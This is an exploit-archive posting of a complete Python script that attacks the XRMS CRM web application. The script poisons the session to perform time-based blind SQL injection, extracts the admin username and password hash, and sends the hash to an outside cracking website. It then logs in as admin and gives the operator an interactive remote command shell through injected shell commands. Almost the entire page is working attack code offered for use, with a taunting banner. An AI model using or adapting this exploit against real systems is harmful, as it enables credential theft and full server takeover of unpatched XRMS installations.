Home / exploits

PDF

XRMS Blind SQL Injection / Command Execution

Posted on 29 August 2014

#######################
# XRMS Blind SQLi via $_SESSION poisoning, then command exec
#########################

import urllib
import urllib2
import time
import sys

usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
def banner():
 print """ ____
 / __/_ ______ _ _ ___________ ___ _____
 / /_/ / / / __ `/ | |/_/ ___/ __ `__ / ___/
 / __/ /_/ / /_/ / _> </ / / / / / / (__ )
 /_/ \__,_/\__, (_)_/|_/_/ /_/ /_/ /_/____/
 /_/
 [+] fuq th3 w0rld, fuq ur m0m!
"""

def usage():
 print " [+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE"
 print " [+] Example:"
 print " [+] python " + sys.argv[0] + " domain.to/xrms"
 quit()

def sendhashaway(hash):
 print " [+] Sending hash to icrackhash.com to be cracked."
 data = None
 headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'}
 url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5'
 gh = urllib2.Request(url,data,headers)
 gh2 = urllib2.urlopen(gh)
 output = gh2.read()
 plaintext = getpositions(output,'<td><small><strong>','</strong>')
 print " [-] Plaintext of hash: " +plaintext + "
"
 return plaintext

def username(length):
 length = length + 1
 duser = []
 #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
 found = 0
 i = 1
 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username,"
 payload2 = ",1)=CHAR("
 payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
 for i in range(1,length):
 found = 0
 while(found != 1):
 for f in range(0,len(userascii)):
 class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
 def http_error_302(self, req, fp, code, msg, headers):
 infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
 infourl.status = code
 infourl.code = code
 return infourl
 http_error_300 = http_error_302
 class HeadRequest(urllib2.Request):
 def get_method(self):
 return "POST"
 payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
 data = urllib.urlencode([('user_id',payload)])
 url = 'http://'+domain+'/plugins/webform/new-form.php'
 opener = urllib2.build_opener(LeHTTPRedirectHandler)
 req = HeadRequest(url,data)
 prepare = opener.open(req)
 cookie1 = prepare.info()
 cookie2pos1 = str(cookie1).find('PHPSESSID')
 cookie2pos2 = str(cookie1).find("
",cookie2pos1)
 line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
 line = 'XRMS' + line[9:]
 url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
 headers = { 'Cookie' : line }
 data = None
 start = time.time()
 get = urllib2.Request(url,data,headers)
 get.get_method = lambda: 'HEAD'
 try:
 execute = urllib2.urlopen(get)
 except:
 pass
 elapsed = (time.time() - start)
 if(elapsed > 1):
 print " Character found. Character is: " + usercharac[f]
 duser.append(usercharac[f])
 found = 1
 return duser

def getusernamelength():
 found = 0
 i = 1
 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '"
 payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -"
 while (found != 1):
 class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
 def http_error_302(self, req, fp, code, msg, headers):
 infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
 infourl.status = code
 infourl.code = code
 return infourl
 http_error_300 = http_error_302
 class HeadRequest(urllib2.Request):
 def get_method(self):
 return "POST"
 payload = payload1 + str(i) + payload2
 data = urllib.urlencode([('user_id',payload)])
 url = 'http://'+domain+'/plugins/webform/new-form.php'
 opener = urllib2.build_opener(LeHTTPRedirectHandler)
 req = HeadRequest(url,data)
 prepare = opener.open(req)
 cookie1 = prepare.info()
 cookie2pos1 = str(cookie1).find('PHPSESSID')
 cookie2pos2 = str(cookie1).find("
",cookie2pos1)
 line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
 line = 'XRMS' + line[9:]
 url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
 headers = { 'Cookie' : line }
 data = None
 start = time.time()
 get = urllib2.Request(url,data,headers)
 get.get_method = lambda: 'HEAD'
 try:
 execute = urllib2.urlopen(get)
 except:
 pass
 elapsed = (time.time() - start)
 if(elapsed > 1):
 print " Length found at position: " + str(i)
 found = 1
 length = i
 return length
 i = i + 1

def password(length):
 length = length + 1
 dpassword = []
 #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
 found = 0
 i = 1
 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password,"
 payload2 = ",1)=CHAR("
 payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
 for i in range(1,length):
 found = 0
 while(found != 1):
 for f in range(0,len(userascii)):
 class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
 def http_error_302(self, req, fp, code, msg, headers):
 infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
 infourl.status = code
 infourl.code = code
 return infourl
 http_error_300 = http_error_302
 class HeadRequest(urllib2.Request):
 def get_method(self):
 return "POST"
 payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
 data = urllib.urlencode([('user_id',payload)])
 url = 'http://'+domain+'/plugins/webform/new-form.php'
 opener = urllib2.build_opener(LeHTTPRedirectHandler)
 req = HeadRequest(url,data)
 prepare = opener.open(req)
 cookie1 = prepare.info()
 cookie2pos1 = str(cookie1).find('PHPSESSID')
 cookie2pos2 = str(cookie1).find("
",cookie2pos1)
 line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
 line = 'XRMS' + line[9:]
 url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
 headers = { 'Cookie' : line }
 data = None
 start = time.time()
 get = urllib2.Request(url,data,headers)
 get.get_method = lambda: 'HEAD'
 try:
 execute = urllib2.urlopen(get)
 except:
 pass
 elapsed = (time.time() - start)
 if(elapsed > 1):
 print " Character found. Character is: " + usercharac[f]
 dpassword.append(usercharac[f])
 found = 1
 return dpassword

def login(domain,user,password):
 cookie = "XRMS=iseeurgettinown4d"
 url = 'http://'+domain+'/login-2.php'
 headers = { 'Cookie' : cookie }
 data = urllib.urlencode([('username',user),('password',password)])
 a1 = urllib2.Request(url,data,headers)
 a2 = urllib2.urlopen(a1)
 output = a2.read()
 if output.find('PEAR.php') > 0:
 print " [+] Logged In"

def commandexec(domain,command):
 cookie = "XRMS=iseeurgettinown4d"
 cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)])
 headers = { 'Cookie' : cookie }
 data = None
 url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd
 b1 = urllib2.Request(url,data,headers)
 b2 = urllib2.urlopen(a1)
 output = b2.read()
 first = output.find('0x41') + 4
 last = output.find('14x0') - 4
 return output[first:last]

banner()
if len(sys.argv) < 2:
 usage()
domain = sys.argv[1]
print " [+] Grabbing username length"
length = getusernamelength()
print " [+] Grabbing username characters"
tmpuser = username(length)
adminusr = "".join(tmpuser)
print " [+] Grabbing password hash"
tmppass = password(32)
admpass = "".join(tmppass)
print " [+] Admin username: "+ adminusr
print " [+] Admin password hash: " + admpass
plain = sendhashaway(admpass)
login(domain,adminusr,plain)
while(quit != 1):
 cmd = raw_input(' [+] Run a command: ')
 if cmd == 'quit':
 print " [-] Hope you had fun :)"
 quit = 1
 if cmd != 'quit':
 print " [+] "+ commandexec(domain,cmd)

 

TOP